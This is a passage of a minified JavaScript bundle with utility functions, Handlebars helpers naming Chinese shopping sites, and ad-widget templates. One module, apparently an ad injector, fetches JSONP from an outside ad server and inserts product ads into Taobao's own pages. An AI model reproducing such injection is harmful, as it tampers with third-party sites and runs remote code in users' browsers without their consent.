                d = 0 > c ? Math.max(0, e + c) : c
            }
            if (u && a.indexOf === u) return a.indexOf(b, c);
            for (; e > d; d++) if (a[d] === b) return d;
            return - 1
        },
        z.lastIndexOf = function(a, b, c) {
            if (null == a) return - 1;
            var d = null != c;
            if (v && a.lastIndexOf === v) return d ? a.lastIndexOf(b, c) : a.lastIndexOf(b);
            for (var e = d ? c: a.length; e--;) if (a[e] === b) return e;
            return - 1
        },
        z.range = function(a, b, c) {
            arguments.length <= 1 && (b = a || 0, a = 0),
            c = arguments[2] || 1;
            for (var d = Math.max(Math.ceil((b - a) / c), 0), e = 0, f = new Array(d); d > e;) f[e++] = a,
            a += c;
            return f
        },
        z.bind = function(a, b) {
            if (a.bind === y && y) return y.apply(a, j.call(arguments, 1));
            var c = j.call(arguments, 2);
            return function() {
                return a.apply(b, c.concat(j.call(arguments)))
            }
        },
        z.partial = function(a) {
            var b = j.call(arguments, 1);
            return function() {
                return a.apply(this, b.concat(j.call(arguments)))
            }
        },
        z.bindAll = function(a) {
            var b = j.call(arguments, 1);
            return 0 === b.length && (b = z.functions(a)),
            A(b,
            function(b) {
                a[b] = z.bind(a[b], a)
            }),
            a
        },
        z.memoize = function(a, b) {
            var c = {};
            return b || (b = z.identity),
            function() {
                var d = b.apply(this, arguments);
                return z.has(c, d) ? c[d] : c[d] = a.apply(this, arguments)
            }
        },
        z.delay = function(a, b) {
            var c = j.call(arguments, 2);
            return setTimeout(function() {
                return a.apply(null, c)
            },
            b)
        },
        z.defer = function(a) {
            return z.delay.apply(z, [a, 1].concat(j.call(arguments, 1)))
        },
        z.throttle = function(a, b) {
            var c, d, e, f, g = 0,
            h = function() {
                g = new Date,
                e = null,
                f = a.apply(c, d)
            };
            return function() {
                var i = new Date,
                j = b - (i - g);
                return c = this,
                d = arguments,
                0 >= j ? (clearTimeout(e), e = null, g = i, f = a.apply(c, d)) : e || (e = setTimeout(h, j)),
                f
            }
        },
        z.debounce = function(a, b, c) {
            var d, e;
            return function() {
                var f = this,
                g = arguments,
                h = function() {
                    d = null,
                    c || (e = a.apply(f, g))
                },
                i = c && !d;
                return clearTimeout(d),
                d = setTimeout(h, b),
                i && (e = a.apply(f, g)),
                e
            }
        },
        z.once = function(a) {
            var b, c = !1;
            return function() {
                return c ? b: (c = !0, b = a.apply(this, arguments), a = null, b)
            }
        },
        z.wrap = function(a, b) {
            return function() {
                var c = [a];
                return i.apply(c, arguments),
                b.apply(this, c)
            }
        },
        z.compose = function() {
            var a = arguments;
            return function() {
                for (var b = arguments,
                c = a.length - 1; c >= 0; c--) b = [a[c].apply(this, b)];
                return b[0]
            }
        },
        z.after = function(a, b) {
            return 0 >= a ? b() : function() {
                return--a < 1 ? b.apply(this, arguments) : void 0
            }
        },
        z.keys = x ||
        function(a) {
            if (a !== Object(a)) throw new TypeError("Invalid object");
            var b = [];
            for (var c in a) z.has(a, c) && (b[b.length] = c);
            return b
        },
        z.values = function(a) {
            var b = [];
            for (var c in a) z.has(a, c) && b.push(a[c]);
            return b
        },
        z.pairs = function(a) {
            var b = [];
            for (var c in a) z.has(a, c) && b.push([c, a[c]]);
            return b
        },
        z.invert = function(a) {
            var b = {};
            for (var c in a) z.has(a, c) && (b[a[c]] = c);
            return b
        },
        z.functions = z.methods = function(a) {
            var b = [];
            for (var c in a) z.isFunction(a[c]) && b.push(c);
            return b.sort()
        },
        z.extend = function(a) {
            return A(j.call(arguments, 1),
            function(b) {
                if (b) for (var c in b) a[c] = b[c]
            }),
            a
        },
        z.pick = function(a) {
            var b = {},
            c = k.apply(f, j.call(arguments, 1));
            return A(c,
            function(c) {
                c in a && (b[c] = a[c])
            }),
            b
        },
        z.omit = function(a) {
            var b = {},
            c = k.apply(f, j.call(arguments, 1));
            for (var d in a) z.contains(c, d) || (b[d] = a[d]);
            return b
        },
        z.defaults = function(a) {
            return A(j.call(arguments, 1),
            function(b) {
                if (b) for (var c in b) null == a[c] && (a[c] = b[c])
            }),
            a
        },
        z.clone = function(a) {
            return z.isObject(a) ? z.isArray(a) ? a.slice() : z.extend({},
            a) : a
        },
        z.tap = function(a, b) {
            return b(a),
            a
        };
        var G = function(a, b, c, d) {
            if (a === b) return 0 !== a || 1 / a == 1 / b;
            if (null == a || null == b) return a === b;
            a instanceof z && (a = a._wrapped),
            b instanceof z && (b = b._wrapped);
            var e = l.call(a);
            if (e != l.call(b)) return ! 1;
            switch (e) {
            case "[object String]":
                return a == String(b);
            case "[object Number]":
                return a != +a ? b != +b: 0 == a ? 1 / a == 1 / b: a == +b;
            case "[object Date]":
            case "[object Boolean]":
                return + a == +b;
            case "[object RegExp]":
                return a.source == b.source && a.global == b.global && a.multiline == b.multiline && a.ignoreCase == b.ignoreCase
            }
            if ("object" != typeof a || "object" != typeof b) return ! 1;
            for (var f = c.length; f--;) if (c[f] == a) return d[f] == b;
            c.push(a),
            d.push(b);
            var g = 0,
            h = !0;
            if ("[object Array]" == e) {
                if (g = a.length, h = g == b.length) for (; g--&&(h = G(a[g], b[g], c, d)););
            } else {
                var i = a.constructor,
                j = b.constructor;
                if (i !== j && !(z.isFunction(i) && i instanceof i && z.isFunction(j) && j instanceof j)) return ! 1;
                for (var k in a) if (z.has(a, k) && (g++, !(h = z.has(b, k) && G(a[k], b[k], c, d)))) break;
                if (h) {
                    for (k in b) if (z.has(b, k) && !g--) break;
                    h = !g
                }
            }
            return c.pop(),
            d.pop(),
            h
        };
        z.isEqual = function(a, b) {
            return G(a, b, [], [])
        },
        z.isEmpty = function(a) {
            if (null == a) return ! 0;
            if (z.isArray(a) || z.isString(a)) return 0 === a.length;
            for (var b in a) if (z.has(a, b)) return ! 1;
            return ! 0
        },
        z.isElement = function(a) {
            return ! (!a || 1 !== a.nodeType)
        },
        z.isArray = w ||
        function(a) {
            return "[object Array]" == l.call(a)
        },
        z.isObject = function(a) {
            return a === Object(a)
        },
        A(["Arguments", "Function", "String", "Number", "Date", "RegExp"],
        function(a) {
            z["is" + a] = function(b) {
                return l.call(b) == "[object " + a + "]"
            }
        }),
        z.isArguments(arguments) || (z.isArguments = function(a) {
            return ! (!a || !z.has(a, "callee"))
        }),
        "function" != typeof / . / &&(z.isFunction = function(a) {
            return "function" == typeof a
        }),
        z.isFinite = function(a) {
            return isFinite(a) && !isNaN(parseFloat(a))
        },
        z.isNaN = function(a) {
            return z.isNumber(a) && a != +a
        },
        z.isBoolean = function(a) {
            return a === !0 || a === !1 || "[object Boolean]" == l.call(a)
        },
        z.isNull = function(a) {
            return null === a
        },
        z.isUndefined = function(a) {
            return void 0 === a
        },
        z.has = function(a, b) {
            return m.call(a, b)
        },
        z.noConflict = function() {
            return a._ = d,
            this
        },
        z.identity = function(a) {
            return a
        },
        z.times = function(a, b, c) {
            for (var d = Array(a), e = 0; a > e; e++) d[e] = b.call(c, e);
            return d
        },
        z.random = function(a, b) {
            return null == b && (b = a, a = 0),
            a + Math.floor(Math.random() * (b - a + 1))
        };
        var H = {
            escape: {
                "&": "&amp;",
                "<": "&lt;",
                ">": "&gt;",
                '"': "&quot;",
                "'": "&#x27;",
                "/": "&#x2F;"
            }
        };
        H.unescape = z.invert(H.escape);
        var I = {
            escape: new RegExp("[" + z.keys(H.escape).join("") + "]", "g"),
            unescape: new RegExp("(" + z.keys(H.unescape).join("|") + ")", "g")
        };
        z.each(["escape", "unescape"],
        function(a) {
            z[a] = function(b) {
                return null == b ? "": ("" + b).replace(I[a],
                function(b) {
                    return H[a][b]
                })
            }
        }),
        z.result = function(a, b) {
            if (null == a) return null;
            var c = a[b];
            return z.isFunction(c) ? c.call(a) : c
        },
        z.mixin = function(a) {
            A(z.functions(a),
            function(b) {
                var c = z[b] = a[b];
                z.prototype[b] = function() {
                    var a = [this._wrapped];
                    return i.apply(a, arguments),
                    N.call(this, c.apply(z, a))
                }
            })
        };
        var J = 0;
        z.uniqueId = function(a) {
            var b = ++J + "";
            return a ? a + b: b
        },
        z.templateSettings = {
            evaluate: /<%([\s\S]+?)%>/g,
            interpolate: /<%=([\s\S]+?)%>/g,
            escape: /<%-([\s\S]+?)%>/g
        };
        var K = /(.)^/,
        L = {
            "'": "'",
            "\\": "\\",
            "\r": "r",
            "\n": "n",
            "	": "t",
            "\u2028": "u2028",
            "\u2029": "u2029"
        },
        M = /\\|'|\r|\n|\t|\u2028|\u2029/g;
        z.template = function(a, b, c) {
            var d;
            c = z.defaults({},
            c, z.templateSettings);
            var e = new RegExp([(c.escape || K).source, (c.interpolate || K).source, (c.evaluate || K).source].join("|") + "|$", "g"),
            f = 0,
            g = "__p+='";
            a.replace(e,
            function(b, c, d, e, h) {
                return g += a.slice(f, h).replace(M,
                function(a) {
                    return "\\" + L[a]
                }),
                c && (g += "'+\n((__t=(" + c + "))==null?'':_.escape(__t))+\n'"),
                d && (g += "'+\n((__t=(" + d + "))==null?'':__t)+\n'"),
                e && (g += "';\n" + e + "\n__p+='"),
                f = h + b.length,
                b
            }),
            g += "';\n",
            c.variable || (g = "with(obj||{}){\n" + g + "}\n"),
            g = "var __t,__p='',__j=Array.prototype.join,print=function(){__p+=__j.call(arguments,'');};\n" + g + "return __p;\n";
            try {
                d = new Function(c.variable || "obj", "_", g)
            } catch(h) {
                throw h.source = g,
                h
            }
            if (b) return d(b, z);
            var i = function(a) {
                return d.call(this, a, z)
            };
            return i.source = "function(" + (c.variable || "obj") + "){\n" + g + "}",
            i
        },
        z.chain = function(a) {
            return z(a).chain()
        };
        var N = function(a) {
            return this._chain ? z(a).chain() : a
        };
        z.mixin(z),
        A(["pop", "push", "reverse", "shift", "sort", "splice", "unshift"],
        function(a) {
            var b = f[a];
            z.prototype[a] = function() {
                var c = this._wrapped;
                return b.apply(c, arguments),
                "shift" != a && "splice" != a || 0 !== c.length || delete c[0],
                N.call(this, c)
            }
        }),
        A(["concat", "join", "slice"],
        function(a) {
            var b = f[a];
            z.prototype[a] = function() {
                return N.call(this, b.apply(this._wrapped, arguments))
            }
        }),
        z.extend(z.prototype, {
            chain: function() {
                return this._chain = !0,
                this
            },
            value: function() {
                return this._wrapped
            }
        })
    }).call(this)
}),
__tk2__define("mustache_helpers", ["./lib/handlebars"],
function(a, b, c) {
    var d, e = a("./lib/handlebars"),
    f = {
        taobao: "淘宝",
        tmall: "天猫",
        jd: "京东",
        amazon: "亚马逊",
        yihaodian: "1号店",
        dangdang: "当当网",
        suning: "苏宁易购",
        "51buy": "易迅",
        vip: "唯品会",
        wanggou: "QQ网购",
        vjia: "凡客V+",
        vancl: "凡客诚品",
        moonbasa: "梦芭莎",
        coo8: "库巴",
        m18: "麦考林",
        xiu: "走秀",
        mbaobao: "卖包包",
        justyle: "justyle",
        hstyle: "韩都衣舍",
        liebo: "裂帛",
        ochirly: "欧时力官网",
        "hg-daigou": "韩购社官网",
        htjz: "核桃夹子",
        meilishuo: "美丽说",
        mogujie: "蘑菇街",
        gome: "国美在线"
    },
    g = {
        taobao: "淘",
        tmall: "天",
        jd: "京",
        amazon: "亚",
        yihaodian: "壹",
        dangdang: "当",
        suning: "苏",
        "51buy": "易",
        vip: "唯",
        wanggou: "QQ",
        vjia: "凡",
        vancl: "凡",
        moonbasa: "梦",
        coo8: "库",
        m18: "麦",
        xiu: "走",
        mbaobao: "卖",
        justyle: "justyle",
        hstyle: "韩",
        liebo: "裂",
        ochirly: "欧",
        "hg-daigou": "韩",
        htjz: "核",
        meilishuo: "美",
        mogujie: "蘑",
        gome: "国"
    },
    h = {
        contains: function(a, b, c) {
            return - 1 !== a.indexOf(b) ? c.fn(this) : c.inverse(this)
        },
        and: function(a, b, c) {
            return a && b ? c.fn(this) : c.inverse(this)
        },
        gt: function(a, b, c) {
            return a > b ? c.fn(this) : c.inverse(this)
        },
        gte: function(a, b, c) {
            return a >= b ? c.fn(this) : c.inverse(this)
        },
        is: function(a, b, c) {
            return a === b ? c.fn(this) : c.inverse(this)
        },
        isnt: function(a, b, c) {
            return a !== b ? c.fn(this) : c.inverse(this)
        },
        lt: function(a, b, c) {
            return b > a ? c.fn(this) : c.inverse(this)
        },
        lte: function(a, b, c) {
            return b >= a ? c.fn(this) : c.inverse(this)
        },
        lengthLt: function(a, b, c) {
            var d = a.length;
            return d > b ? c.fn(this) : c.inverse(this)
        },
        imgCDN: function(a, b, c) {
            return c + "_" + a + "x" + b + ".jpg"
        },
        or: function(a, b, c) {
            return a || b ? c.fn(this) : c.inverse(this)
        },
        th: function(a, b) {
            return a.length > b ? a.slice(0, b) + "...": a
        },
        getprice: function(a) {
            return (a / 100).toFixed(2)
        },
        setsize: function(a, b) {
            return 220 * b / a
        },
        transUrl: function(a, b, c) {
            return 3 == a ? "http://www.chaoji99.com/search.html?http://www.chaoji99.com/item.html?sourceId=" + c + "&website=taobao": "juxiao" === a ? b: "http://search.taotaosou.com/transfer.htm?" + b
        },
        searchUrl: function(a) {
            return "http://search.taotaosou.com/transfer.htm?" + a
        },
        setIndex: function(a) {
            this.index = Number(a + 1)
        },
        source: function(a) {
            return f[a]
        },
        sourceShort: function(a) {
            return g[a]
        },
        jdName: function(a) {
            return "jd.com" === a ? "jdcom": a
        },
        ifAny: function() {
            for (var a = arguments.length - 2,
            b = arguments[a + 1], c = !0, d = 0; a > d;) {
                if (!arguments[d]) {
                    c = !1;
                    break
                }
                d += 1
            }
            return c ? b.fn(this) : b.inverse(this)
        },
        rowLast: function(a, b, c) {
            return a % b === 0 ? c.fn(this) : c.inverse(this)
        }
    };
    for (d in h) h.hasOwnProperty(d) && e.registerHelper(d, h[d]);
    return e.registerHelper("math",
    function(a, b, c, d) {
        return a = parseFloat(a),
        c = parseFloat(c),
        {
            "+": a + c,
            "-": a - c,
            "*": a * c,
            "/": a / c,
            "%": a % c
        } [b]
    }),
    e
}),
__tk2__define("s.taobao.search", ["./lib/jquery.min", "./lib/jquery.tmpl.min"],
function(a) {
    function b(a) {
        var b = d('<div class="tk_s_search"></div>');
        d(a).each(function(a, d) {
            c(d, b)
        }),
        b.insertBefore(d(".tb-bottom"))
    }
    function c(a, b) {
        var c = '<div class="item-box"> <div class="pic"> <p class="pic-box"> <a href="${href}" target="_blank"> <span> <img src="${media}"> </span> </a> </p> </div> <h3 class="summary"> <a href="${href}" target="_blank" title="${title}">${title}</a> </h3> <div class="row"> <div class="price">￥<span>${price}</span> </div> </div> </div>',
        e = a;
        d.tmpl(c, e).appendTo(b)
    }
    var d = a("./lib/jquery.min");
    a("./lib/jquery.tmpl.min"),
    setTimeout(function() {
        d(".tb-bottom")[0] && d.getJSON("//www.gmf.com/tumeiti.php?adType=1,0,0,0&keyword=%E8%BF%9E%E8%A1%A3%E8%A3%99%E5%A5%B3,0,0,0&adSize=210,0,0,0&itemSize=5,0,0,0&tbId=&pid=278&tb_cps_outcode=&jsonp=?",
        function(a) {
            if (a && a.xiangsi[0]) {
                var c = a.xiangsi.length;
                5 > c || b(a.xiangsi)
            }
        })
    },
    800)
}),
__tk2__define("templates.jst", ["./lib/handlebars"],
function(a, b, c) {
    var d = a("./lib/handlebars");
    return this.JST = this.JST || {},
    this.JST["tmt/banner"] = d.template({
        compiler: [6, ">= 2.0.0-beta.1"],
        main: function(a, b, c, d) {
            var e, f = "function",
            g = b.helperMissing,
            h = this.escapeExpression;
            return '<a class="TK_banner_wrap" href="' + h((e = null != (e = b.href || (null != a ? a.href: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "href",
                hash: {},
                data: d
            }) : e)) + '" title="' + h((e = null != (e = b.title || (null != a ? a.title: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "title",
                hash: {},
                data: d
            }) : e)) + '" target="_blank" style="background-color:' + h((e = null != (e = b.bgc || (null != a ? a.bgc: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "bgc",
                hash: {},
                data: d
            }) : e)) + '">\n  <img src="' + h((e = null != (e = b.media || (null != a ? a.media: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "media",
                hash: {},
                data: d
            }) : e)) + '" alt="' + h((e = null != (e = b.title || (null != a ? a.title: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "title",
                hash: {},
                data: d
            }) : e)) + '"/>\n  <a href="javascript:void(0)" class="TK_banner_close"></a>\n</a>'
        },
        useData: !0
    }),
    this.JST["tmt/corner"] = d.template({
        1 : function(a, b, c, d) {
            return '  <div class="KKT-cornerFrame" style="position: fixed; top: -2px; right: 0;" id="KKT-cornerFrame-fix">\n'
        },
        3 : function(a, b, c, d) {
            return '  <div class="KKT-cornerFrame" style="position: absolute; top: -2px; right: 0;" id="KKT-cornerFrame">\n'
        },
        5 : function(a, b, c, d) {
            return '    <div id="KKT-topCornerClose-zhaoshang">关闭</div>\n'
        },
        7 : function(a, b, c, d) {
            return '    <div id="KKT-topCornerClose">关闭</div>\n'
        },
        9 : function(a, b, c, d) {
            return ""
        },
        11 : function(a, b, c, d) {
            return '  <div id="KKT-logo"></div>\n'
        },
        compiler: [6, ">= 2.0.0-beta.1"],
        main: function(a, b, c, d) {
            var e, f, g = "function",
            h = b.helperMissing,
            i = this.escapeExpression,
            j = "";
            return e = b["if"].call(a, null != a ? a.fix: a, {
                name: "if",
                hash: {},
                fn: this.program(1, d),
                inverse: this.program(3, d),
                data: d
            }),
            null != e && (j += e),
            j += '  <object width="195" height="130" align="middle">\n    <param name="allowScriptAccess" value="never">\n    <param name="quality" value="high">\n    <param name="wmode" value="transparent">\n    <param name="movie" value="' + i((f = null != (f = b.swf || (null != a ? a.swf: a)) ? f: h, typeof f === g ? f.call(a, {
                name: "swf",
                hash: {},
                data: d
            }) : f)) + '">\n    <embed wmode="transparent" src="' + i((f = null != (f = b.swf || (null != a ? a.swf: a)) ? f: h, typeof f === g ? f.call(a, {
                name: "swf",
                hash: {},
                data: d
            }) : f)) + '" quality="high" width="195" height="130" align="middle"\n           allowscriptaccess="never" type="application/x-shockwave-flash">\n  </object>\n  <a target="_blank"\n     href="' + i((f = null != (f = b.url || (null != a ? a.url: a)) ? f: h, typeof f === g ? f.call(a, {
                name: "url",
                hash: {},
                data: d
            }) : f)) + '"\n     id="KKT-topCornerClick">h</a>\n\n',
            e = b["if"].call(a, null != a ? a.fix: a, {
                name: "if",
                hash: {},
                fn: this.program(5, d),
                inverse: this.program(7, d),
                data: d
            }),
            null != e && (j += e),
            e = b["if"].call(a, null != a ? a.logo: a, {
                name: "if",
                hash: {},
                fn: this.program(9, d),
                inverse: this.program(11, d),
                data: d
            }),
            null != e && (j += e),
            j + "</div>\n\n"
        },
        useData: !0
    }),
    this.JST["tmt/ditong"] = d.template({
        compiler: [6, ">= 2.0.0-beta.1"],
        main: function(a, b, c, d) {
            var e, f = "function",
            g = b.helperMissing,
            h = this.escapeExpression;
            return '<!--div id="J_tts_bubble_logo"><a href="javascript:;" class="media_bubble_logo" onclick="return false">汇海雷达提供</a></div-->\n<a href="javascript:;" id="J_tts_bubble_close" title="关闭" class="media_bubble_close" onclick="return false"><div class="close_text">关闭</div><div class="x_text">X</div></a>\n<div id="J_tts_bubble_logo"><a href="http://un.taotaosou.com" class="media_bubble_logo_new" target="_blank">汇海雷达提供</a></div>\n<span style="cursor: pointer;" id="J_tts_bubble_frame" class="media_bubble_frame" title="' + h((e = null != (e = b.title || (null != a ? a.title: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "title",
                hash: {},
                data: d
            }) : e)) + '">\n  <img src="' + h((e = null != (e = b.media || (null != a ? a.media: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "media",
                hash: {},
                data: d
            }) : e)) + '">\n</span>'
        },
        useData: !0
    }),
    this.JST["tmt/float"] = d.template({
        1 : function(a, b, c, d) {
            var e, f = '        <ul class="TK_float_ul">\n';
            return e = b.each.call(a, null != a ? a.proList: a, {
                name: "each",
                hash: {},
                fn: this.program(2, d),
                inverse: this.noop,
                data: d
            }),
            null != e && (f += e),
            f + "        </ul>\n"
        },
        2 : function(a, b, c, d) {
            var e, f = "function",
            g = b.helperMissing,
            h = this.escapeExpression;
            return '            <li>\n              <a href="' + h((e = null != (e = b.href || (null != a ? a.href: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "href",
                hash: {},
                data: d
            }) : e)) + '" target="_blank" class="TK_imgAnchor"><img src="' + h((b.imgCDN || a && a.imgCDN || g).call(a, 169, 169, null != a ? a.media: a, {
                name: "imgCDN",
                hash: {},
                data: d
            })) + '" alt="' + h((e = null != (e = b.title || (null != a ? a.title: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "title",
                hash: {},
                data: d
            }) : e)) + '"/></a>\n              <a href="' + h((e = null != (e = b.href || (null != a ? a.href: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "href",
                hash: {},
                data: d
            }) : e)) + '" target="_blank" class="TK_titleAnchor" title="' + h((e = null != (e = b.title || (null != a ? a.title: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "title",
                hash: {},
                data: d
            }) : e)) + '">' + h((e = null != (e = b.title || (null != a ? a.title: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "title",
                hash: {},
                data: d
            }) : e)) + '</a>\n\n              <div class="TK_float_price">\n                <p class="TK_price_t">特惠价</p>\n\n                <p class="TK_price_p">&yen<span>' + h((e = null != (e = b.price || (null != a ? a.price: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "price",
                hash: {},
                data: d
            }) : e)) + '</span></p>\n              </div>\n              <a class="TK_float_dg" href="' + h((e = null != (e = b.href || (null != a ? a.href: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "href",
                hash: {},
                data: d
            }) : e)) + '" alt="' + h((e = null != (e = b.href || (null != a ? a.href: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "href",
                hash: {},
                data: d
            }) : e)) + '" target="_blank"></a>\n            </li>\n'
        },
        4 : function(a, b, c, d) {
            var e, f = b.helperMissing,
            g = this.lambda,
            h = this.escapeExpression,
            i = '      <li class="TK_float_p';
            return e = (b.is || a && a.is || f).call(a, d && d.index, 0, {
                name: "is",
                hash: {},
                fn: this.program(5, d),
                inverse: this.noop,
                data: d
            }),
            null != e && (i += e),
            i + '" data-num="' + h(g(d && d.index, a)) + '">' + h((b.math || a && a.math || f).call(a, d && d.index, "+", 1, {
                name: "math",
                hash: {},
                data: d
            })) + "</li>\n"
        },
        5 : function(a, b, c, d) {
            return " t_active"
        },
        compiler: [6, ">= 2.0.0-beta.1"],
        main: function(a, b, c, d) {
            var e, f = '<div class="TK_float_wrap">\n  <div class="TK_bg_wrap"></div>\n  <div class="TK_float_hidden">\n    <h1 class="TK_head_title">\n      双十二精品会场\n    </h1>\n    <div class="TK_ul_wrap">\n';
            return e = b.each.call(a, null != a ? a.list: a, {
                name: "each",
                hash: {},
                fn: this.program(1, d),
                inverse: this.noop,
                data: d
            }),
            null != e && (f += e),
            f += '    </div>\n  </div>\n  <div class="TK_float_page">\n    <ul id="TK_ul">\n      <li class="TK_float_pre"><div></div></li>\n',
            e = b.each.call(a, null != a ? a.list: a, {
                name: "each",
                hash: {},
                fn: this.program(4, d),
                inverse: this.noop,
                data: d
            }),
            null != e && (f += e),
            f + '      <li class="TK_float_next"><div></div></li>\n    </ul>\n  </div>\n  <a href="javascript:void(0)" class="TK_float_close"></a>\n</div>'
        },
        useData: !0
    }),
    this.JST["tmt/jiaohu"] = d.template({
        1 : function(a, b, c, d) {
            var e, f, g = b.helperMissing,
            h = "function",
            i = this.escapeExpression,
            j = '          <li class="tts_jiaohu_item ';
            return e = (b.lt || a && a.lt || g).call(a, d && d.index, 5, {
                name: "lt",
                hash: {},
                fn: this.program(2, d),
                inverse: this.program(4, d),
                data: d
            }),
            null != e && (j += e),
            j += '"\n              data-from="' + i((f = null != (f = b.from || (null != a ? a.from: a)) ? f: g, typeof f === h ? f.call(a, {
                name: "from",
                hash: {},
                data: d
            }) : f)) + '" data-id="' + i((f = null != (f = b.id || (null != a ? a.id: a)) ? f: g, typeof f === h ? f.call(a, {
                name: "id",
                hash: {},
                data: d
            }) : f)) + '">\n            <a class="tts_jiaohu_alink" href="' + i((b.transUrl || a && a.transUrl || g).call(a, null != a ? a.from: a, null != a ? a.url: a, null != a ? a.id: a, {
                name: "transUrl",
                hash: {},
                data: d
            })) + '" target="_blank">\n              <img width="100" src="' + i((f = null != (f = b.img || (null != a ? a.img: a)) ? f: g, typeof f === h ? f.call(a, {
                name: "img",
                hash: {},
                data: d
            }) : f)) + '" alt=""/>\n            </a>\n            <!--pop item box-->\n            <div class="tts_jiaohu_popitem">\n              <a href="' + i((b.transUrl || a && a.transUrl || g).call(a, null != a ? a.from: a, null != a ? a.url: a, null != a ? a.id: a, {
                name: "transUrl",
                hash: {},
                data: d
            })) + '" class="tts_jiaohu_popitem_alink" target="_blank">\n                <img width="150" src="' + i((f = null != (f = b.img || (null != a ? a.img: a)) ? f: g, typeof f === h ? f.call(a, {
                name: "img",
                hash: {},
                data: d
            }) : f)) + '"/>\n              </a>\n\n              <div class="tts_jiaohu_popitem_info">\n                <p class="tts_jiaohu_popitem_info_price"><i>¥</i>' + i((f = null != (f = b.promoPrice || (null != a ? a.promoPrice: a)) ? f: g, typeof f === h ? f.call(a, {
                name: "promoPrice",
                hash: {},
                data: d
            }) : f)) + "\n",
            e = b["if"].call(a, null != a ? a.pirce: a, {
                name: "if",
                hash: {},
                fn: this.program(12, d),
                inverse: this.noop,
                data: d
            }),
            null != e && (j += e),
            j + "                </p>\n              </div>\n            </div>\n            <!--pop item box end-->\n          </li>\n"
        },
        2 : function(a, b, c, d) {
            return "adsItem1"
        },
        4 : function(a, b, c, d) {
            var e, f = b.helperMissing;
            return e = (b.lt || a && a.lt || f).call(a, d && d.index, 10, {
                name: "lt",
                hash: {},
                fn: this.program(5, d),
                inverse: this.program(7, d),
                data: d
            }),
            null != e ? e: ""
        },
        5 : function(a, b, c, d) {
            return "adsItem2"
        },
        7 : function(a, b, c, d) {
            var e, f = b.helperMissing;
            return e = (b.lt || a && a.lt || f).call(a, d && d.index, 15, {
                name: "lt",
                hash: {},
                fn: this.program(8, d),
                inverse: this.program(10, d),
                data: d
            }),
            null != e ? e: ""
        },
        8 : function(a, b, c, d) {
            return "adsItem3"
        },
        10 : function(a, b, c, d) {
            return "adsItem4"
        },
        12 : function(a, b, c, d) {
            var e, f = "function",
            g = b.helperMissing,
            h = this.escapeExpression;
            return '                    <del class="tts_jiaohu_popitem_info_source_price"><i>¥</i>' + h((e = null != (e = b.pirce || (null != a ? a.pirce: a)) ? e: g, typeof e === f ? e.call(a, {
                name: "pirce",
                hash: {},
                data: d
            }) : e)) + "</del>\n"
        },
        compiler: [6, ">= 2.0.0-beta.1"],
        main: function(a, b, c, d) {
            var e, f = '<div class="tts_jiaohu_bar">\n<!--  <div class="changeList">\n    <div class="before_wrap">\n      <a href="javascript:void(0)" class="tts_jiaohu_item before"></a>\n    </div>\n    <div class="after_wrap">\n      <a href="javascript:void(0)" class="tts_jiaohu_item after"></a>\n    </div>\n  </div>-->\n  <div class="TK_outer_wrap">\n    <div class="TK_ul_wrap">\n      <ul>\n';
            return e = b.each.call(a, null != a ? a.list: a, {
                name: "each",
                hash: {},
                fn: this.program(1, d),
                inverse: this.noop,
                data: d
            }),
            null != e && (f += e),
            f + '      </ul>\n    </div>\n  </div>\n  <a href="javascript:;" id="J_tts_jiaohu_close" title="关闭" class="media_bubble_close" onclick="return false"></a>\n\n  <div id="J_tts_bubble_logo"><a href="javascript:;" class="media_bubble_logo" onclick="return false">汇海雷达提供</a></div>\n</div>'
        },
        useData: !0
    }),
    this.JST["tmt/lds.box"] = d.template({
        compiler: [6, ">= 2.0.0-beta.1"],
        main: function(a, b, c, d) {
            return '<div class="TK-lds-wrap">\n    <div id="J-TK-lds-con" data-col="tts_lds_ff" class="TK-lds-con">\n        <div class="TK-lds-icon"></div>\n        <div id="J-TK-lds-slide">\n            <span class="TK-lds-close">x</span>\n            <span id="J-TK-lds-prev" class="TK-lds-prev"></span>\n            <span id="J-TK-lds-next" class="TK-lds-next"></span>\n            <div id="J-TK-lds-hd" class="TK-lds-hd">\n            </div>\n            <div class="TK-lds-bd">\n                <div id="J-TK-lds-bd-con" class="TK-lds-bd-con">\n                </div>\n            </div>\n        </div>\n    </div>\n</div>'
        },
        useData: !0
    }),
    this.JST["tmt/msg"] = d.template({
        compiler: [6, ">= 2.0.0-beta.1"],
        main: function(a, b, c, d) {
            var e, f = b.helperMissing,
            g = this.escapeExpression,
            h = this.lambda;
            return '<div class="TK-pp-wrap">\n    <div class="TK-pp-con">\n        <a href="javascript:;" title="关闭" class="TK-pp-msg-news-close">\n            关闭\n        </a>\n        <h3>今日<span>热点</span></h3>\n        <div class="TK-pp-msg-news">\n            <a data-tk-msg-log="outsite_news_hot_click" href="' + g((b.searchUrl || a && a.searchUrl || f).call(a, null != (e = null != a ? a.pic: a) ? e.link: e, {
                name: "searchUrl",
                hash: {},
                data: d
            })) + '" target="_blank" title="' + g(h(null != (e = null != a ? a.pic: a) ? e.title: e, a)) + '" class="TK-pp-msg-img">\n                <img src="' + g(h(null != (e = null != a ? a.pic: a) ? e.pic: e, a)) + '" alt=""/>\n            </a>\n            <div class="TK-pp-msg-words">\n                <a data-tk-msg-log="outsite_news_hot_click" class="TK-pp-msg-title" href="' + g((b.searchUrl || a && a.searchUrl || f).call(a, null != (e = null != a ? a.pic: a) ? e.link: e, {
                name: "searchUrl",
                hash: {},
                data: d
            })) + '" target="_blank">\n                    ' + g(h(null != (e = null != a ? a.pic: a) ? e.title: e, a)) + '\n                </a>\n                <a data-tk-msg-log="outsite_news_hot_click" class="TK-pp-msg-alink" href="' + g((b.searchUrl || a && a.searchUrl || f).call(a, null != (e = null != a ? a.pic: a) ? e.link: e, {
                name: "searchUrl",
                hash: {},
                data: d
